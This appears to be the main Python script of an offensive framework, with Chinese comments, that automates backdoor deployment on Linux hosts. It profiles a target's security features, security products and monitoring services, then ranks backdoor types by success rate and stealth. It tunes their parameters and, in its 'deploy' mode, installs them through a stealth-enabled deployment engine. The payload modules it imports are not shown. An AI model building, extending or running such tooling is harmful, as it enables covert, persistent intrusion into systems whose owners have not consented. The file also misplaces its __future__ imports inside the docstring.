#!/usr/bin/env python3
# -*- coding: utf-8 -*-

"""

from __future__ import print_function
from __future__ import unicode_literals
from __future__ import division
from __future__ import absolute_import

自动决策系统主脚本
整合智能决策引擎、风险评估、参数优化和自动化部署功能
提供完整的后门部署自动化解决方案
"""

import os
import sys

# Python 2/3 兼容性处理
if sys.version_info[0] == 2:
    string_types = basestring
    text_type = unicode
    def iteritems(d):
        return d.iteritems()
    def itervalues(d):
        return d.itervalues()
else:
    string_types = str
    text_type = str
    def iteritems(d):
        return d.items()
    def itervalues(d):
        return d.values()
import json
import time
import argparse
from typing import Dict, List, Any, Optional
from dataclasses import asdict
from pathlib import Path

# 添加项目根目录到Python路径
project_root = Path(__file__).parent.parent
sys.path.insert(0, str(project_root))

try:
    from core.utils import color_green, color_yellow, color_red, color_blue
    from modules.intelligence.intelligent_decision_engine import (
        IntelligentDecisionEngine, SystemEnvironment, ThreatLevel, BackdoorType
    )
    from modules.intelligence.adaptive_parameter_optimizer import AdaptiveParameterOptimizer, OptimizationLevel
    from modules.automation.automated_deployment_engine import AutomatedDeploymentEngine
    from modules.intelligence.risk_assessment_engine import RiskAssessmentEngine



except ImportError as e:
    print("导入模块失败: {}".format(e))
    sys.exit(1)

# 定义color_cyan函数，使用蓝色替代
def color_cyan(text):
    """青色输出，使用蓝色替代"""
    color_blue(text)


class AutoDecisionSystem:
    """自动决策系统主类"""
    
    def __init__(self, optimization_level: OptimizationLevel = OptimizationLevel.BALANCED):
        """初始化自动决策系统"""
        color_cyan("🚀 初始化自动决策系统...")
        
        self.decision_engine = IntelligentDecisionEngine()
        self.parameter_optimizer = AdaptiveParameterOptimizer(optimization_level)
        self.deployment_engine = AutomatedDeploymentEngine(enable_stealth=True)
        self.risk_engine = RiskAssessmentEngine()
        
        self.current_environment = None
        self.recommendations = []
        self.risk_assessments = []
        self.optimized_parameters = {}
        
        color_green("✓ 自动决策系统初始化完成")
    
    def analyze_environment(self, external_env: SystemEnvironment = None) -> SystemEnvironment:
        """分析系统环境"""
        color_blue("🔍 开始环境分析...")
        
        self.current_environment = self.decision_engine.analyze_environment(external_env)
        
        # 显示环境摘要
        self._display_environment_summary()
        
        return self.current_environment
    
    def generate_recommendations(self, max_recommendations: int = 5) -> List:
        """生成后门推荐"""
        if not self.current_environment:
            color_red("❌ 请先进行环境分析")
            return []
        
        color_blue("🧠 生成智能推荐...")
        
        self.recommendations = self.decision_engine.recommend_backdoors(
            self.current_environment, max_recommendations
        )
        
        # 显示推荐结果
        self._display_recommendations()
        
        return self.recommendations
    
    def assess_risks(self) -> List:
        """评估风险"""
        if not self.current_environment:
            color_red("❌ 请先进行环境分析")
            return []
        
        color_blue("⚠️ 开始风险评估...")
        
        self.risk_assessments = self.risk_engine.assess_all_backdoors(self.current_environment)
        
        # 显示风险评估结果
        self._display_risk_assessments()
        
        return self.risk_assessments
    
    def optimize_parameters(self, selected_backdoors: List[BackdoorType] = None) -> Dict:
        """优化参数"""
        if not self.recommendations:
            color_red("❌ 请先生成推荐")
            return {}
        
        color_blue("⚙️ 开始参数优化...")
        
        # 如果没有指定后门类型，使用推荐的前3个
        if not selected_backdoors:
            selected_backdoors = [rec.backdoor_type for rec in self.recommendations[:3]]
        
        self.optimized_parameters = {}
        for backdoor_type in selected_backdoors:
            try:
                optimized = self.parameter_optimizer.optimize_parameters(backdoor_type)
                self.optimized_parameters[backdoor_type.value] = optimized
                color_green("✓ {} 参数优化完成".format(backdoor_type.value))
            except Exception as e:
                color_red("❌ {} 参数优化失败: {}".format(backdoor_type.value, e))
        
        return self.optimized_parameters
    
    def deploy_backdoors(self, risk_threshold: float = 0.7, dry_run: bool = False) -> Dict:
        """部署后门"""
        if not self.optimized_parameters:
            color_red("❌ 请先进行参数优化")
            return {}
        
        if dry_run:
            color_yellow("🔍 执行模拟部署（dry run）...")
        else:
            color_blue("🚀 开始自动化部署...")
        
        try:
            if dry_run:
                # 模拟部署，只显示计划
                deployment_plan = self._generate_deployment_plan()
                color_cyan("📋 部署计划:")
                for step in deployment_plan:
                    color_yellow("  • {}".format(step))
                return {"status": "simulated", "plan": deployment_plan}
            else:
                # 实际部署
                result = self.deployment_engine.execute_automated_deployment(risk_threshold)
                return result
        except Exception as e:
            color_red("❌ 部署失败: {}".format(e))
            return {"status": "failed", "error": str(e)}
    
    def run_full_analysis(self, external_env: SystemEnvironment = None, 
                         max_recommendations: int = 5, 
                         risk_threshold: float = 0.7,
                         dry_run: bool = True) -> Dict[str, Any]:
        """运行完整分析流程"""
        color_cyan("🎯 开始完整自动决策分析...")
        
        start_time = time.time()
        
        try:
            # 1. 环境分析
            environment = self.analyze_environment(external_env)
            
            # 2. 生成推荐
            recommendations = self.generate_recommendations(max_recommendations)
            
            # 3. 风险评估
            risk_assessments = self.assess_risks()
            
            # 4. 参数优化
            optimized_params = self.optimize_parameters()
            
            # 5. 部署（可选）
            deployment_result = self.deploy_backdoors(risk_threshold, dry_run)
            
            analysis_time = time.time() - start_time
            
            # 生成完整报告
            report = {
                "timestamp": time.strftime("%Y-%m-%d %H:%M:%S"),
                "analysis_time": round(analysis_time, 2),
                "environment": asdict(environment),
                "recommendations": [asdict(rec) for rec in recommendations],
                "risk_assessments": [asdict(ra) for ra in risk_assessments],
                "optimized_parameters": {k: asdict(v) for k, v in optimized_params.items()},
                "deployment_result": deployment_result,
                "summary": {
                    "total_recommendations": len(recommendations),
                    "high_priority_recommendations": len([r for r in recommendations if r.priority >= 8]),
                    "critical_risks": len([r for r in risk_assessments if r.risk_level == ThreatLevel.CRITICAL]),
                    "optimized_backdoors": len(optimized_params)
                }
            }
            
            color_green("✓ 完整分析完成，耗时 {:.2f} 秒".format(analysis_time))
            return report
            
        except Exception as e:
            color_red("❌ 分析过程中出现错误: {}".format(e))
            return {"status": "failed", "error": str(e)}
    
    def _display_environment_summary(self):
        """显示环境摘要"""
        if not self.current_environment:
            return
        
        env = self.current_environment
        color_cyan("📊 环境分析结果:")
        color_yellow("  系统: {} {} ({})".format(env.distro, env.version, env.architecture))
        color_yellow("  内核: {}".format(env.kernel_version))
        color_yellow("  CPU核心: {}, 内存: {}GB".format(env.cpu_count, env.memory_total // (1024**3)))
        
        # 安全特性
        security_features = []
        if env.selinux_enabled:
            security_features.append("SELinux")
        if env.apparmor_enabled:
            security_features.append("AppArmor")
        if env.firewall_active:
            security_features.append("防火墙")
        
        if security_features:
            color_yellow("  安全特性: {}".format(', '.join(security_features)))
        
        # 安全产品
        if env.security_products:
            color_yellow("  安全产品: {}".format(', '.join(env.security_products)))
        
        # 监控服务
        if env.monitoring_services:
            color_yellow("  监控服务: {}".format(', '.join(env.monitoring_services)))
    
    def _display_recommendations(self):
        """显示推荐结果"""
        if not self.recommendations:
            return
        
        color_cyan("🎯 智能推荐结果:")
        for i, rec in enumerate(self.recommendations[:5], 1):
            priority_color = color_green if rec.priority >= 8 else color_yellow if rec.priority >= 6 else color_red
            priority_color("  {}. {} (优先级: {}/10)".format(i, rec.backdoor_type.value, rec.priority))
            color_yellow("     成功率: {:.1%}, 隐蔽性: {:.1%}".format(rec.success_probability, rec.stealth_level))
            color_yellow("     风险级别: {}".format(rec.risk_level.value))
            if rec.reasons:
                color_yellow("     推荐理由: {}".format(', '.join(rec.reasons[:2])))
    
    def _display_risk_assessments(self):
        """显示风险评估结果"""
        if not self.risk_assessments:
            return
        
        color_cyan("⚠️ 风险评估结果:")
        
        # 按风险级别分组
        risk_groups = {"critical": [], "high": [], "medium": [], "low": []}
        for ra in self.risk_assessments:
            risk_groups[ra.risk_level.value].append(ra)
        
        for level, assessments in risk_groups.items():
            if assessments:
                level_color = color_red if level == "critical" else color_yellow if level == "high" else color_green
                level_color("  {} 风险 ({}个):".format(level.upper(), len(assessments)))
                for ra in assessments[:3]:  # 只显示前3个
                    color_yellow("    • {}: 成功率 {:.1%}".format(ra.backdoor_type.value, ra.success_probability))
    
    def _generate_deployment_plan(self) -> List[str]:
        """生成部署计划"""
        plan = []
        plan.append("环境检测和验证")
        
        for backdoor_type, params in self.optimized_parameters.items():
            plan.append("部署 {} 后门".format(backdoor_type))
            plan.append("  - 使用优化参数: {} 性能影响".format(params.performance_impact))
            plan.append("  - 隐蔽性调整: {} 项".format(len(params.stealth_adjustments)))
        
        plan.append("部署后验证和清理")
        plan.append("生成部署报告")
        
        return plan
    
    def save_report(self, report: Dict[str, Any], filename: str = None) -> str:
        """保存分析报告"""
        if not filename:
            timestamp = int(time.time())
            filename = "auto_decision_report_{}.json".format(timestamp)
        
        def json_encoder(obj):
            """自定义JSON编码器处理枚举类型"""
            if hasattr(obj, 'value'):
                return obj.value
            return str(obj)
        
        try:
            with open(filename, 'w', encoding='utf-8') as f:
                json.dump(report, f, ensure_ascii=False, indent=2, default=json_encoder)
            
            color_green("✓ 报告已保存到: {}".format(filename))
            return filename
        except Exception as e:
            color_red("❌ 保存报告失败: {}".format(e))
            return ""


def main():
    """主函数"""
    parser = argparse.ArgumentParser(description="自动决策系统")
    parser.add_argument("--mode", choices=["analyze", "recommend", "deploy", "full"], 
                       default="full", help="运行模式")
    parser.add_argument("--optimization", choices=["conservative", "balanced", "aggressive"],
                       default="balanced", help="优化级别")
    parser.add_argument("--max-recommendations", type=int, default=5, help="最大推荐数量")
    parser.add_argument("--risk-threshold", type=float, default=0.7, help="风险阈值")
    parser.add_argument("--dry-run", action="store_true", help="模拟运行，不实际部署")
    parser.add_argument("--output", help="输出报告文件名")
    
    args = parser.parse_args()
    
    # 创建自动决策系统
    optimization_level = {
        "conservative": OptimizationLevel.CONSERVATIVE,
        "balanced": OptimizationLevel.BALANCED,
        "aggressive": OptimizationLevel.AGGRESSIVE
    }[args.optimization]
    
    system = AutoDecisionSystem(optimization_level)
    
    try:
        if args.mode == "analyze":
            # 仅环境分析
            system.analyze_environment()
            
        elif args.mode == "recommend":
            # 环境分析 + 推荐
            system.analyze_environment()
            system.generate_recommendations(args.max_recommendations)
            
        elif args.mode == "deploy":
            # 完整流程 + 实际部署
            report = system.run_full_analysis(
                max_recommendations=args.max_recommendations,
                risk_threshold=args.risk_threshold,
                dry_run=False
            )
            if args.output:
                system.save_report(report, args.output)
                
        else:  # full
            # 完整分析（默认dry run）
            report = system.run_full_analysis(
                max_recommendations=args.max_recommendations,
                risk_threshold=args.risk_threshold,
                dry_run=args.dry_run
            )
            
            # 显示摘要
            if "summary" in report:
                summary = report["summary"]
                color_cyan("📈 分析摘要:")
                color_yellow("  总推荐数: {}".format(summary['total_recommendations']))
                color_yellow("  高优先级推荐: {}".format(summary['high_priority_recommendations']))
                color_yellow("  严重风险: {}".format(summary['critical_risks']))
                color_yellow("  已优化后门: {}".format(summary['optimized_backdoors']))
            
            # 保存报告
            if args.output:
                system.save_report(report, args.output)
            else:
                system.save_report(report)
                
    except KeyboardInterrupt:
        color_yellow("\n⚠️ 用户中断操作")
    except Exception as e:
        color_red("❌ 运行错误: {}".format(e))
        sys.exit(1)


if __name__ == "__main__":
    main()